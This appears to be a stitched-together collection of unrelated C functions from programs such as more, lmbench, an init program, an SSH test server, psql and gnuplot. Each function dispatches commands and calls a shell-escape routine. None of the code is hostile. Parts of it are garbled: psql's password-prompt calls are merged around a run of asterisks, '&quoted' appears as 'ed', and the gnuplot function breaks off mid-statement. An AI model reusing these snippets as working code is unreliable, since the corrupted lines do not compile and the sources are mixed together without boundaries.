/* * Execute a colon-prefixed command. * Returns <0 if not a command that should cause * more of the file to be printed. */ int colon(char *filename, int cmd, int nlines) { int ch; if (cmd == 0) ch = readch(); else ch = cmd; lastcolon = ch; switch (ch) { case 'f': kill_line(); if (!no_intty) promptlen = printf("\"%s\" line %lld", fnames[fnum], (long long)Currline); else promptlen = printf("[Not a file] line %lld", (long long)Currline); fflush(stdout); return (-1); case 'n': if (nlines == 0) { if (fnum >= nfiles - 1) end_it(); nlines++; } putchar('\r'); erasep(0); skipf(nlines); return (0); case 'p': if (no_intty) { write(STDERR_FILENO, &bell, 1); return (-1); } putchar('\r'); erasep(0); if (nlines == 0) nlines++; skipf (-nlines); return (0); case '!': if (do_shell(filename) < 0) { kill_line(); prompt(filename); } return (-1); case 'q': case 'Q': end_it(); /*FALLTHROUGH*/ default: write(STDERR_FILENO, &bell, 1); return (-1); } }
int main(int ac, char **av) { if (ac < 2) goto usage; if (!strcmp("procedure", av[1])) { BENCH(do_procedure(ac), 0); micro("Procedure call", get_n()); } else if (!strcmp("fork", av[1])) { BENCH(do_fork(), 0); #ifdef STATIC micro("Static Process fork+exit", get_n()); #else micro("Process fork+exit", get_n()); #endif } else if (!strcmp("dfork", av[1])) { BENCH(do_dfork(), 0); #ifdef STATIC micro("Static Process double fork+exit", get_n()); #else micro("Process double fork+exit", get_n()); #endif } else if (!strcmp("exec", av[1])) { BENCH(do_forkexec(), 0); #ifdef STATIC micro("Static Process fork+execve", get_n()); #else micro("Process fork+execve", get_n()); #endif } else if (!strcmp("dforkexec", av[1])) { BENCH(do_dforkexec(), 0); #ifdef STATIC micro("Static Process double fork+execve", get_n()); #else micro("Process double fork+execve", get_n()); #endif } else if (!strcmp("shell", av[1])) { BENCH(do_shell(), 0); #ifdef STATIC micro("Static Process fork+/bin/sh -c", get_n()); #else micro("Process fork+/bin/sh -c", get_n()); #endif } else { usage: printf("Usage: %s fork|exec|shell|dfork|dforkexec\n", av[0]); } return(0); }
int main( int argc, char **argv_init, char **envp_init) { int pid,i; /* * This keeps serial console MUCH cleaner, but does assume * the console driver checks there really is a video device * attached (Sparc effectively does). */ if ((open("/dev/tty1",O_RDWR,0) < 0) && (open("/dev/ttyS0",O_RDWR,0) < 0)) printf("Unable to open an initial console.\n"); (void) dup(0); (void) dup(0); execve("/etc/init",argv_init,envp_init); execve("/bin/init",argv_init,envp_init); execve("/sbin/init",argv_init,envp_init); /* if this fails, fall through to original stuff */ if (!(pid=fork())) { do_rc("/etc/rc"); } if (pid>0) while (pid != wait(&i)) /* nothing */; while (1) { if ((pid = fork()) < 0) { printf("Fork failed in mach_init\n\r"); continue; } if (!pid) { do_shell("/bin/sh"); } while (1) if (pid == wait(&i)) break; printf("\n\rchild %d died with code %04x\n\r",pid,i); sync(); } _exit(0); }
static int channel_request_callback (ssh_session session, ssh_message message, gpointer user_data) { const gchar *cmd; /* wait for a shell */ switch (ssh_message_type (message)) { case SSH_REQUEST_CHANNEL: switch (ssh_message_subtype (message)) { case SSH_CHANNEL_REQUEST_SHELL: if (do_shell (state.event, state.channel) < 0) goto deny; goto accept_end; case SSH_CHANNEL_REQUEST_EXEC: cmd = ssh_message_channel_request_command (message); if (do_exec (state.event, state.channel, cmd) < 0) goto deny; goto accept_end; case SSH_CHANNEL_REQUEST_PTY: case SSH_CHANNEL_REQUEST_ENV: goto accept; default: g_message ("message subtype unknown: %d", ssh_message_subtype (message)); goto deny; } default: g_message ("message type unknown: %d", ssh_message_type (message)); goto deny; } deny: return 1; accept_end: accept: ssh_message_channel_request_reply_success (message); return 0; }
/* * Subroutine to actually try to execute a backslash command. */ static backslashResult exec_command(const char *cmd, PsqlScanState scan_state, PQExpBuffer query_buf) { bool success = true; /* indicate here if the command ran ok or * failed */ backslashResult status = PSQL_CMD_SKIP_LINE; /* * \a -- toggle field alignment This makes little sense but we keep it * around. */ if (strcmp(cmd, "a") == 0) { if (pset.popt.topt.format != PRINT_ALIGNED) success = do_pset("format", "aligned", &pset.popt, pset.quiet); else success = do_pset("format", "unaligned", &pset.popt, pset.quiet); } /* \C -- override table title (formerly change HTML caption) */ else if (strcmp(cmd, "C") == 0) { char *opt = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true); success = do_pset("title", opt, &pset.popt, pset.quiet); free(opt); } /* * \c or \connect -- connect to database using the specified parameters. * * \c dbname user host port * * If any of these parameters are omitted or specified as '-', the current * value of the parameter will be used instead. If the parameter has no * current value, the default value for that parameter will be used. Some * examples: * * \c - - hst Connect to current database on current port of host * "hst" as current user. \c - usr - prt Connect to current database on * "prt" port of current host as user "usr". \c dbs Connect to * "dbs" database on current port of current host as current user. */ else if (strcmp(cmd, "c") == 0 || strcmp(cmd, "connect") == 0) { char *opt1, *opt2, *opt3, *opt4; opt1 = read_connect_arg(scan_state); opt2 = read_connect_arg(scan_state); opt3 = read_connect_arg(scan_state); opt4 = read_connect_arg(scan_state); success = do_connect(opt1, opt2, opt3, opt4); free(opt1); free(opt2); free(opt3); free(opt4); } /* \cd */ else if (strcmp(cmd, "cd") == 0) { char *opt = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true); char *dir; if (opt) dir = opt; else { #ifndef WIN32 struct passwd *pw; pw = getpwuid(geteuid()); if (!pw) { psql_error("could not get home directory: %s\n", strerror(errno)); exit(EXIT_FAILURE); } dir = pw->pw_dir; #else /* WIN32 */ /* * On Windows, 'cd' without arguments prints the current * directory, so if someone wants to code this here instead... */ dir = "/"; #endif /* WIN32 */ } if (chdir(dir) == -1) { psql_error("\\%s: could not change directory to \"%s\": %s\n", cmd, dir, strerror(errno)); success = false; } if (pset.dirname) free(pset.dirname); pset.dirname = pg_strdup(dir); canonicalize_path(pset.dirname); if (opt) free(opt); } /* \conninfo -- display information about the current connection */ else if (strcmp(cmd, "conninfo") == 0) { char *db = PQdb(pset.db); char *host = PQhost(pset.db); if (db == NULL) printf(_("You are not connected.\n")); else { if (host == NULL) host = DEFAULT_PGSOCKET_DIR; /* If the host is an absolute path, the connection is via socket */ if (is_absolute_path(host)) printf(_("You are connected to database \"%s\" as user \"%s\" via socket in \"%s\" at port \"%s\".\n"), db, PQuser(pset.db), host, PQport(pset.db)); else printf(_("You are connected to database \"%s\" as user \"%s\" on host \"%s\" at port \"%s\".\n"), db, PQuser(pset.db), host, PQport(pset.db)); } } /* \copy */ else if (pg_strcasecmp(cmd, "copy") == 0) { /* Default fetch-it-all-and-print mode */ instr_time before, after; char *opt = psql_scan_slash_option(scan_state, OT_WHOLE_LINE, NULL, false); if (pset.timing) INSTR_TIME_SET_CURRENT(before); success = do_copy(opt); if (pset.timing && success) { INSTR_TIME_SET_CURRENT(after); INSTR_TIME_SUBTRACT(after, before); printf(_("Time: %.3f ms\n"), INSTR_TIME_GET_MILLISEC(after)); } free(opt); } /* \copyright */ else if (strcmp(cmd, "copyright") == 0) print_copyright(); /* \d* commands */ else if (cmd[0] == 'd') { char *pattern; bool show_verbose, show_system; /* We don't do SQLID reduction on the pattern yet */ pattern = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true); show_verbose = strchr(cmd, '+') ? true : false; show_system = strchr(cmd, 'S') ? true : false; switch (cmd[1]) { case '\0': case '+': case 'S': /* GPDB: This is a change from old behavior: We used to show just system tables */ if (pattern) success = describeTableDetails(pattern, show_verbose, show_system); else /* standard listing of interesting things */ success = listTables("tvsxr", NULL, show_verbose, show_system); break; case 'a': success = describeAggregates(pattern, show_verbose, show_system); break; case 'b': success = describeTablespaces(pattern, show_verbose); break; case 'c': success = listConversions(pattern, show_system); break; case 'C': success = listCasts(pattern); break; case 'd': if (strncmp(cmd, "ddp", 3) == 0) success = listDefaultACLs(pattern); else success = objectDescription(pattern, show_system); break; case 'D': success = listDomains(pattern, show_system); break; case 'f': /* function subsystem */ switch (cmd[2]) { case '\0': case '+': case 'S': case 'a': case 'n': case 't': case 'w': success = describeFunctions(&cmd[2], pattern, show_verbose, show_system); break; default: status = PSQL_CMD_UNKNOWN; break; } break; case 'g': /* no longer distinct from \du */ success = describeRoles(pattern, show_verbose); break; case 'l': success = do_lo_list(); break; case 'n': success = listSchemas(pattern, show_verbose); break; case 'o': success = describeOperators(pattern, show_system); break; case 'p': success = permissionsList(pattern); break; case 'T': success = describeTypes(pattern, show_verbose, show_system); break; case 't': case 'v': case 'i': case 's': case 'E': /* PostgreSQL use dx for extension, change to dE for foreign table */ /* case 'S': // GPDB: We used to show just system tables for this */ case 'P': /* GPDB: Parent-only tables, no children */ success = listTables(&cmd[1], pattern, show_verbose, show_system); break; case 'r': if (cmd[2] == 'd' && cmd[3] == 's') { char *pattern2 = NULL; if (pattern) pattern2 = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true); success = listDbRoleSettings(pattern, pattern2); } else //success = PSQL_CMD_UNKNOWN; /* GPDB uses \dr for foreign tables ? */ success = listTables(&cmd[1], pattern, show_verbose, show_system); break; case 'u': success = describeRoles(pattern, show_verbose); break; case 'F': /* text search subsystem */ switch (cmd[2]) { case '\0': case '+': success = listTSConfigs(pattern, show_verbose); break; case 'p': success = listTSParsers(pattern, show_verbose); break; case 'd': success = listTSDictionaries(pattern, show_verbose); break; case 't': success = listTSTemplates(pattern, show_verbose); break; default: status = PSQL_CMD_UNKNOWN; break; } break; case 'x': /* Extensions */ if (show_verbose) success = listExtensionContents(pattern); else success = listExtensions(pattern); break; default: status = PSQL_CMD_UNKNOWN; } if (pattern) free(pattern); } /* * \e or \edit -- edit the current query buffer, or edit a file and make * it the query buffer */ else if (strcmp(cmd, "e") == 0 || strcmp(cmd, "edit") == 0) { if (!query_buf) { psql_error("no query buffer\n"); status = PSQL_CMD_ERROR; } else { char *fname; fname = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true); expand_tilde(&fname); if (fname) canonicalize_path(fname); if (do_edit(fname, query_buf, NULL)) status = PSQL_CMD_NEWEDIT; else status = PSQL_CMD_ERROR; free(fname); } } /* * \ef -- edit the named function, or present a blank CREATE FUNCTION * template if no argument is given */ else if (strcmp(cmd, "ef") == 0) { if (!query_buf) { psql_error("no query buffer\n"); status = PSQL_CMD_ERROR; } else { char *func; Oid foid = InvalidOid; func = psql_scan_slash_option(scan_state, OT_WHOLE_LINE, NULL, true); if (!func) { /* set up an empty command to fill in */ printfPQExpBuffer(query_buf, "CREATE FUNCTION ( )\n" " RETURNS \n" " LANGUAGE \n" " -- common options: IMMUTABLE STABLE STRICT SECURITY DEFINER\n" "AS $function$\n" "\n$function$\n"); } else if (!lookup_function_oid(pset.db, func, &foid)) { /* error already reported */ status = PSQL_CMD_ERROR; } else if (!get_create_function_cmd(pset.db, foid, query_buf)) { /* error already reported */ status = PSQL_CMD_ERROR; } if (func) free(func); } if (status != PSQL_CMD_ERROR) { bool edited = false; if (!do_edit(0, query_buf, &edited)) status = PSQL_CMD_ERROR; else if (!edited) puts(_("No changes")); else status = PSQL_CMD_NEWEDIT; } } /* \echo and \qecho */ else if (strcmp(cmd, "echo") == 0 || strcmp(cmd, "qecho") == 0) { char *value; char quoted; bool no_newline = false; bool first = true; FILE *fout; if (strcmp(cmd, "qecho") == 0) fout = pset.queryFout; else fout = stdout; while ((value = psql_scan_slash_option(scan_state, OT_NORMAL, "ed, false))) { if (!quoted && strcmp(value, "-n") == 0) no_newline = true; else { if (first) first = false; else fputc(' ', fout); fputs(value, fout); } free(value); } if (!no_newline) fputs("\n", fout); } /* \encoding -- set/show client side encoding */ else if (strcmp(cmd, "encoding") == 0) { char *encoding = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false); if (!encoding) { /* show encoding */ puts(pg_encoding_to_char(pset.encoding)); } else { /* set encoding */ if (PQsetClientEncoding(pset.db, encoding) == -1) psql_error("%s: invalid encoding name or conversion procedure not found\n", encoding); else { /* save encoding info into psql internal data */ pset.encoding = PQclientEncoding(pset.db); pset.popt.topt.encoding = pset.encoding; SetVariable(pset.vars, "ENCODING", pg_encoding_to_char(pset.encoding)); } free(encoding); } } /* \f -- change field separator */ else if (strcmp(cmd, "f") == 0) { char *fname = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false); success = do_pset("fieldsep", fname, &pset.popt, pset.quiet); free(fname); } /* \g means send query */ else if (strcmp(cmd, "g") == 0) { char *fname = psql_scan_slash_option(scan_state, OT_FILEPIPE, NULL, false); if (!fname) pset.gfname = NULL; else { expand_tilde(&fname); pset.gfname = pg_strdup(fname); } free(fname); status = PSQL_CMD_SEND; } /* help */ else if (strcmp(cmd, "h") == 0 || strcmp(cmd, "help") == 0) { char *opt = psql_scan_slash_option(scan_state, OT_WHOLE_LINE, NULL, false); size_t len; /* strip any trailing spaces and semicolons */ if (opt) { len = strlen(opt); while (len > 0 && (isspace((unsigned char) opt[len - 1]) || opt[len - 1] == ';')) opt[--len] = '\0'; } helpSQL(opt, pset.popt.topt.pager); free(opt); } /* HTML mode */ else if (strcmp(cmd, "H") == 0 || strcmp(cmd, "html") == 0) { if (pset.popt.topt.format != PRINT_HTML) success = do_pset("format", "html", &pset.popt, pset.quiet); else success = do_pset("format", "aligned", &pset.popt, pset.quiet); } /* \i is include file */ else if (strcmp(cmd, "i") == 0 || strcmp(cmd, "include") == 0) { char *fname = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true); if (!fname) { psql_error("\\%s: missing required argument\n", cmd); success = false; } else { expand_tilde(&fname); success = (process_file(fname, false) == EXIT_SUCCESS); free(fname); } } /* \l is list databases */ else if (strcmp(cmd, "l") == 0 || strcmp(cmd, "list") == 0) success = listAllDbs(false); else if (strcmp(cmd, "l+") == 0 || strcmp(cmd, "list+") == 0) success = listAllDbs(true); /* * large object things */ else if (strncmp(cmd, "lo_", 3) == 0) { char *opt1, *opt2; opt1 = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true); opt2 = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true); if (strcmp(cmd + 3, "export") == 0) { if (!opt2) { psql_error("\\%s: missing required argument\n", cmd); success = false; } else { expand_tilde(&opt2); success = do_lo_export(opt1, opt2); } } else if (strcmp(cmd + 3, "import") == 0) { if (!opt1) { psql_error("\\%s: missing required argument\n", cmd); success = false; } else { expand_tilde(&opt1); success = do_lo_import(opt1, opt2); } } else if (strcmp(cmd + 3, "list") == 0) success = do_lo_list(); else if (strcmp(cmd + 3, "unlink") == 0) { if (!opt1) { psql_error("\\%s: missing required argument\n", cmd); success = false; } else success = do_lo_unlink(opt1); } else status = PSQL_CMD_UNKNOWN; free(opt1); free(opt2); } /* \o -- set query output */ else if (strcmp(cmd, "o") == 0 || strcmp(cmd, "out") == 0) { char *fname = psql_scan_slash_option(scan_state, OT_FILEPIPE, NULL, true); expand_tilde(&fname); success = setQFout(fname); free(fname); } /* \p prints the current query buffer */ else if (strcmp(cmd, "p") == 0 || strcmp(cmd, "print") == 0) { if (query_buf && query_buf->len > 0) puts(query_buf->data); else if (!pset.quiet) puts(_("Query buffer is empty.")); fflush(stdout); } /* \password -- set user password */ else if (strcmp(cmd, "password") == 0) { char *pw1; char *pw2; pw1 = simple_prompt("Enter new password: "******"Enter it again: ", 100, false); if (strcmp(pw1, pw2) != 0) { fprintf(stderr, _("Passwords didn't match.\n")); success = false; } else { char *opt0 = psql_scan_slash_option(scan_state, OT_SQLID, NULL, true); char *user; char *encrypted_password; if (opt0) user = opt0; else user = PQuser(pset.db); encrypted_password = PQencryptPassword(pw1, user); if (!encrypted_password) { fprintf(stderr, _("Password encryption failed.\n")); success = false; } else { PQExpBufferData buf; PGresult *res; initPQExpBuffer(&buf); printfPQExpBuffer(&buf, "ALTER USER %s PASSWORD ", fmtId(user)); appendStringLiteralConn(&buf, encrypted_password, pset.db); res = PSQLexec(buf.data, false); termPQExpBuffer(&buf); if (!res) success = false; else PQclear(res); PQfreemem(encrypted_password); } } free(pw1); free(pw2); } /* \prompt -- prompt and set variable */ else if (strcmp(cmd, "prompt") == 0) { char *opt, *prompt_text = NULL; char *arg1, *arg2; arg1 = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false); arg2 = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false); if (!arg1) { psql_error("\\%s: missing required argument\n", cmd); success = false; } else { char *result; if (arg2) { prompt_text = arg1; opt = arg2; } else opt = arg1; if (!pset.inputfile) result = simple_prompt(prompt_text, 4096, true); else { if (prompt_text) { fputs(prompt_text, stdout); fflush(stdout); } result = gets_fromFile(stdin); } if (!SetVariable(pset.vars, opt, result)) { psql_error("\\%s: error\n", cmd); success = false; } free(result); if (prompt_text) free(prompt_text); free(opt); } } /* \pset -- set printing parameters */ else if (strcmp(cmd, "pset") == 0) { char *opt0 = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false); char *opt1 = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false); if (!opt0) { psql_error("\\%s: missing required argument\n", cmd); success = false; } else success = do_pset(opt0, opt1, &pset.popt, pset.quiet); free(opt0); free(opt1); } /* \q or \quit */ else if (strcmp(cmd, "q") == 0 || strcmp(cmd, "quit") == 0) status = PSQL_CMD_TERMINATE; /* reset(clear) the buffer */ else if (strcmp(cmd, "r") == 0 || strcmp(cmd, "reset") == 0) { resetPQExpBuffer(query_buf); psql_scan_reset(scan_state); if (!pset.quiet) puts(_("Query buffer reset (cleared).")); } /* \s save history in a file or show it on the screen */ else if (strcmp(cmd, "s") == 0) { char *fname = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true); #if defined(WIN32) && !defined(__CYGWIN__) /* * XXX This does not work for all terminal environments or for output * containing non-ASCII characters; see comments in simple_prompt(). */ #define DEVTTY "con" #else #define DEVTTY "/dev/tty" #endif expand_tilde(&fname); /* This scrolls off the screen when using /dev/tty */ success = saveHistory(fname ? fname : DEVTTY, -1, false, false); if (success && !pset.quiet && fname) printf(gettext("Wrote history to file \"%s/%s\".\n"), pset.dirname ? pset.dirname : ".", fname); if (!fname) putchar('\n'); free(fname); } /* \set -- generalized set variable/option command */ else if (strcmp(cmd, "set") == 0) { char *opt0 = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false); if (!opt0) { /* list all variables */ PrintVariables(pset.vars); success = true; } else { /* * Set variable to the concatenation of the arguments. */ char *newval; char *opt; opt = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false); newval = pg_strdup(opt ? opt : ""); free(opt); while ((opt = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false))) { newval = realloc(newval, strlen(newval) + strlen(opt) + 1); if (!newval) { psql_error("out of memory\n"); exit(EXIT_FAILURE); } strcat(newval, opt); free(opt); } if (!SetVariable(pset.vars, opt0, newval)) { psql_error("\\%s: error\n", cmd); success = false; } free(newval); } free(opt0); } /* \t -- turn off headers and row count */ else if (strcmp(cmd, "t") == 0) { char *opt = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true); success = do_pset("tuples_only", opt, &pset.popt, pset.quiet); free(opt); } /* \T -- define html <table ...> attributes */ else if (strcmp(cmd, "T") == 0) { char *value = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false); success = do_pset("tableattr", value, &pset.popt, pset.quiet); free(value); } /* \timing -- toggle timing of queries */ else if (strcmp(cmd, "timing") == 0) { char *opt = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false); if (opt) pset.timing = ParseVariableBool(opt); else pset.timing = !pset.timing; if (!pset.quiet) { if (pset.timing) puts(_("Timing is on.")); else puts(_("Timing is off.")); } free(opt); } /* \unset */ else if (strcmp(cmd, "unset") == 0) { char *opt = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, false); if (!opt) { psql_error("\\%s: missing required argument\n", cmd); success = false; } else if (!SetVariable(pset.vars, opt, NULL)) { psql_error("\\%s: error\n", cmd); success = false; } free(opt); } /* \w -- write query buffer to file */ else if (strcmp(cmd, "w") == 0 || strcmp(cmd, "write") == 0) { FILE *fd = NULL; bool is_pipe = false; char *fname = NULL; if (!query_buf) { psql_error("no query buffer\n"); status = PSQL_CMD_ERROR; } else { fname = psql_scan_slash_option(scan_state, OT_FILEPIPE, NULL, true); expand_tilde(&fname); if (!fname) { psql_error("\\%s: missing required argument\n", cmd); success = false; } else { if (fname[0] == '|') { is_pipe = true; fd = popen(&fname[1], "w"); } else { canonicalize_path(fname); fd = fopen(fname, "w"); } if (!fd) { psql_error("%s: %s\n", fname, strerror(errno)); success = false; } } } if (fd) { int result; if (query_buf && query_buf->len > 0) fprintf(fd, "%s\n", query_buf->data); if (is_pipe) result = pclose(fd); else result = fclose(fd); if (result == EOF) { psql_error("%s: %s\n", fname, strerror(errno)); success = false; } } free(fname); } /* \x -- toggle expanded table representation */ else if (strcmp(cmd, "x") == 0) { char *opt = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true); success = do_pset("expanded", opt, &pset.popt, pset.quiet); free(opt); } /* \z -- list table rights (equivalent to \dp) */ else if (strcmp(cmd, "z") == 0) { char *pattern = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true); success = permissionsList(pattern); if (pattern) free(pattern); } /* \! -- shell escape */ else if (strcmp(cmd, "!") == 0) { char *opt = psql_scan_slash_option(scan_state, OT_WHOLE_LINE, NULL, false); success = do_shell(opt); free(opt); } /* \? -- slash command help */ else if (strcmp(cmd, "?") == 0) slashUsage(pset.popt.topt.pager); #if 0 /* * These commands don't do anything. I just use them to test the parser. */ else if (strcmp(cmd, "void") == 0 || strcmp(cmd, "#") == 0) { int i = 0; char *value; while ((value = psql_scan_slash_option(scan_state, OT_NORMAL, NULL, true))) { fprintf(stderr, "+ opt(%d) = |%s|\n", i++, value); free(value); } } #endif else status = PSQL_CMD_UNKNOWN; if (!success) status = PSQL_CMD_ERROR; return status; }
/* * Read a command and do it. A command consists of an optional integer * argument followed by the command character. Return the number of lines * to display in the next screenful. If there is nothing more to display * in the current file, zero is returned. */ int command(char *filename, FILE *f) { int nlines; int retval; int ch; char colonch; int done; char comchar, cmdbuf[80], *p; #define ret(val) retval=val;done++;break retval = done = 0; if (!errors) prompt(filename); else errors = 0; for (;;) { nlines = number(&comchar); lastp = colonch = 0; if (comchar == '.') { /* Repeat last command */ lastp++; comchar = lastcmd; nlines = lastarg; if (lastcmd == ':') colonch = lastcolon; } lastcmd = comchar; lastarg = nlines; if (comchar == otty.c_cc[VERASE]) { kill_line(); prompt(filename); continue; } switch (comchar) { case ':': retval = colon(filename, colonch, nlines); if (retval >= 0) done++; break; case 'b': case ctrl('B'): { int initline; if (no_intty) { write(STDERR_FILENO, &bell, 1); return (-1); } if (nlines == 0) nlines++; putchar('\r'); erasep(0); putchar('\n'); if (clreol) cleareol(); printf("...back %d page", nlines); if (nlines > 1) fputs("s\n", stdout); else putchar('\n'); if (clreol) cleareol(); putchar('\n'); initline = Currline - (off_t)dlines * (nlines + 1); if (!noscroll) --initline; if (initline < 0) initline = 0; Fseek(f, (off_t)0); Currline = 0; /* skiplns() will make Currline correct */ skiplns(initline, f); ret(dlines); } case ' ': case 'z': if (nlines == 0) nlines = dlines; else if (comchar == 'z') dlines = nlines; ret(nlines); case 'd': case ctrl('D'): if (nlines != 0) nscroll = nlines; ret(nscroll); case 'q': case 'Q': end_it(); case 's': case 'f': if (nlines == 0) nlines++; if (comchar == 'f') nlines *= dlines; putchar('\r'); erasep(0); putchar('\n'); if (clreol) cleareol(); printf("...skipping %d line", nlines); if (nlines > 1) fputs("s\n", stdout); else putchar('\n'); if (clreol) cleareol(); putchar('\n'); while (nlines > 0) { while ((ch = Getc(f)) != '\n') { if (ch == EOF) { retval = 0; done++; goto endsw; } } Currline++; nlines--; } ret(dlines); case '\n': if (nlines != 0) dlines = nlines; else nlines = 1; ret(nlines); case '\f': if (!no_intty) { doclear(); Fseek(f, screen_start.chrctr); Currline = screen_start.line; ret(dlines); } else { write(STDERR_FILENO, &bell, 1); break; } case '\'': if (!no_intty) { kill_line(); fputs("\n***Back***\n\n", stdout); Fseek(f, context.chrctr); Currline = context.line; ret(dlines); } else { write(STDERR_FILENO, &bell, 1); break; } case '=': kill_line(); promptlen = printf("%lld", (long long)Currline); fflush(stdout); break; case 'n': lastp++; case '/': if (nlines == 0) nlines++; kill_line(); putchar('/'); promptlen = 1; fflush(stdout); if (lastp) { /* Use previous r.e. */ write(STDERR_FILENO, "\r", 1); if (search(NULL, f, nlines) < 0) break; } else { if (ttyin(cmdbuf, sizeof(cmdbuf) - 2, '/') < 0) { kill_line(); prompt(filename); continue; } write(STDERR_FILENO, "\r", 1); if (search(cmdbuf, f, nlines) < 0) break; } ret(dlines-1); case '!': if (do_shell(filename) < 0) { kill_line(); prompt(filename); continue; } break; case '?': case 'h': if (noscroll) doclear(); fputs(more_help, stdout); prompt(filename); break; case 'v': /* This case should go right before default */ if (!no_intty) { char *editor; editor = getenv("VISUAL"); if (editor == NULL || *editor == '\0') editor = getenv("EDITOR"); if (editor == NULL || *editor == '\0') editor = _PATH_VI; if ((p = strrchr(editor, '/')) != NULL) p++; else p = editor; kill_line(); snprintf(cmdbuf, sizeof(cmdbuf), "+%lld", (long long)Currline); if (!altscr) printf("%s %s %s", p, cmdbuf, fnames[fnum]); execute(filename, editor, p, cmdbuf, fnames[fnum]); break; } default: if (dum_opt) { kill_line(); if (Senter && Sexit) { tputs(Senter, 1, putch); fputs(DUM_ERROR, stdout); promptlen = sizeof(DUM_ERROR) - 1 + (2 * soglitch); tputs(Sexit, 1, putch); } else { fputs(DUM_ERROR, stdout); promptlen = sizeof(DUM_ERROR) - 1; } fflush(stdout); } else write(STDERR_FILENO, &bell, 1); break; } if (done) break; } putchar('\r'); endsw: inwait = 0; notell++; return (retval); }
static int command() { FILE *fp; int i; /* string holding name of save or load file */ char sv_file[MAX_LINE_LEN + 1]; for (i = 0; i < MAX_NUM_VAR; i++) c_dummy_var[i][0] = NUL; /* no dummy variables */ if (is_definition(c_token)) define(); else if (almost_equals(c_token, "h$elp") || equals(c_token, "?")) { c_token++; do_help(1); } else if (equals(c_token, "testtime")) { /* given a format and a time string, exercise the time code */ char format[160], string[160]; struct tm tm; double secs; if (isstring(++c_token)) { quote_str(format, c_token, 159); if (isstring(++c_token)) { quote_str(string, c_token++, 159); memset(&tm, 0, sizeof(tm)); gstrptime(string, format, &tm); secs = gtimegm(&tm); fprintf(stderr, "internal = %f - %d/%d/%d::%d:%d:%d , wday=%d, yday=%d\n", secs, tm.tm_mday, tm.tm_mon + 1, tm.tm_year % 100, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_wday, tm.tm_yday); memset(&tm, 0, sizeof(tm)); ggmtime(&tm, secs); gstrftime(string, 159, format, secs); fprintf(stderr, "convert back \"%s\" - %d/%d/%d::%d:%d:%d , wday=%d, yday=%d\n", string, tm.tm_mday, tm.tm_mon + 1, tm.tm_year % 100, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_wday, tm.tm_yday); } } } else if (almost_equals(c_token, "test")) { c_token++; test_term(); } else if (almost_equals(c_token, "scr$eendump")) { c_token++; #ifdef _Windows screen_dump(); #else fputs("screendump not implemented\n", stderr); #endif } else if (almost_equals(c_token, "pa$use")) { struct value a; int sleep_time, text = 0; char buf[MAX_LINE_LEN + 1]; c_token++; sleep_time = (int) real(const_express(&a)); buf[0] = NUL; if (!(END_OF_COMMAND)) { if (!isstring(c_token)) int_error("expecting string", c_token); else { quote_str(buf, c_token, MAX_LINE_LEN); ++c_token; #ifdef _Windows if (sleep_time >= 0) #else # ifdef OS2 if (strcmp(term->name, "pm") != 0 || sleep_time >= 0) # else # ifdef MTOS if (strcmp(term->name, "mtos") != 0 || sleep_time >= 0) # endif /* MTOS */ # endif /* OS2 */ #endif /* _Windows */ fputs(buf, stderr); text = 1; } } if (sleep_time < 0) { #ifdef _Windows if (!Pause(buf)) bail_to_command_line(); #else # ifdef OS2 if (strcmp(term->name, "pm") == 0 && sleep_time < 0) { int rc; if ((rc = PM_pause(buf)) == 0) bail_to_command_line(); else if (rc == 2) { fputs(buf, stderr); text = 1; (void) fgets(buf, MAX_LINE_LEN, stdin); } } # else /* !OS2 */ # ifdef _Macintosh if (strcmp(term->name, "macintosh") == 0 && sleep_time < 0) Pause(sleep_time); # else /* !_Macintosh */ # ifdef MTOS if (strcmp(term->name, "mtos") == 0) { int MTOS_pause(char *buf); int rc; if ((rc = MTOS_pause(buf)) == 0) bail_to_command_line(); else if (rc == 2) { fputs(buf, stderr); text = 1; (void) fgets(buf, MAX_LINE_LEN, stdin); } } else if (strcmp(term->name, "atari") == 0) { char *readline(char *); char *line = readline(""); if (line) free(line); } else (void) fgets(buf, MAX_LINE_LEN, stdin); # else /* !MTOS */ # ifdef ATARI if (strcmp(term->name, "atari") == 0) { char *readline(char *); char *line = readline(""); if (line) free(line); } else (void) fgets(buf, MAX_LINE_LEN, stdin); # else /* !ATARI */ (void) fgets(buf, MAX_LINE_LEN, stdin); /* Hold until CR hit. */ # endif /* !ATARI */ # endif /* !MTOS */ # endif /* !_Macintosh */ # endif /* !OS2 */ #endif } if (sleep_time > 0) GP_SLEEP(sleep_time); if (text != 0 && sleep_time >= 0) fputc('\n', stderr); screen_ok = FALSE; } else if (almost_equals(c_token, "pr$int")) { int need_space = 0; /* space printed between two expressions only */ screen_ok = FALSE; do { ++c_token; if (isstring(c_token)) { char s[MAX_LINE_LEN]; quote_str(s, c_token, MAX_LINE_LEN); fputs(s, stderr); need_space = 0; ++c_token; } else { struct value a; (void) const_express(&a); if (need_space) putc(' ', stderr); need_space = 1; disp_value(stderr, &a); } } while (!END_OF_COMMAND && equals(c_token, ",")); (void) putc('\n', stderr); } else if (almost_equals(c_token, "fit")) { ++c_token; do_fit(); } else if (almost_equals(c_token, "up$date")) { char tmps[80]; char tmps2[80]; /* Have to initialise tmps2, otherwise * update() cannot decide whether a valid * filename was given. lh */ tmps2[0] = 